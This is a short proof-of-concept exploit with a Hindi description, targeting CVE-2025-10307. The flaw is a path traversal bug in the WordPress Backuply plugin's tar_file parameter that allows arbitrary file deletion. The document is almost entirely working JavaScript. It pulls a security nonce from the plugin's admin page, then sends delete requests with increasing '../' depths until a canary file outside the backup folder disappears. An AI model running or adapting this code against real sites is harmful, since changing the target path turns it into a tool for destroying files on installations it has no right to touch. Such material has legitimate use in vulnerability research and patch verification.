
CVE-2025-10307 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट जो WordPress Backuply प्लगइन के tar_file पैरामीटर में पथ ट्रैवर्सल के माध्यम से मनमाना फ़ाइल विलोपन प्रदर्शित करता है।
tar_file पथ ट्रैवर्सल)(async () => {
const page = `${location.origin}/wordpress/wp-admin/admin.php?page=backuply`;
// 1) बैकअपली पेज से एक वैध नॉन्स निकालें
const html = await fetch(page, { credentials: 'same-origin' }).then(r => r.text());
const doc = new DOMParser().parseFromString(html, 'text/html');
let security = (() => {
const btn = doc.querySelector('[name="backuply_delete_backup"]');
if (btn) {
const form = btn.closest('form');
const inp = form && form.querySelector('input[name="security"]');
if (inp && inp.value) return inp.value;
}
const any = doc.querySelector('input[name="security"]');
return any ? any.value : null;
})();
if (!security) {
console.error('नॉन्स नहीं मिला');
return;
}
console.log('नॉन्स:', security);
// सहायक: विलोपन अनुरोध भेजें
const postDelete = (tar_file) => fetch(page, {
method: 'POST',
credentials: 'same-origin',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: new URLSearchParams({
tar_file,
security,
backuply_delete_backup: 'Delete'
})
}).then(r => r.status);
// पथ ट्रैवर्सल विलोपन का प्रयास करें
const outsideRel = 'outside/canary_outside.txt';
const depths = [4, 5, 6, 7];
for (const d of depths) {
const tar_file = '../'.repeat(d) + outsideRel;
console.log('कोशिश कर रहे हैं:', tar_file);
await postDelete(tar_file);
const res = await fetch(`${location.origin}/${outsideRel}`, { method: 'HEAD' });
console.log(`गहराई ${d} → स्थिति ${res.status}`);
if (res.status !== 200) {
console.log('[+] गहराई पर ट्रैवर्सल के माध्यम से फ़ाइल हटाई गई', d);
break;
}
}
})();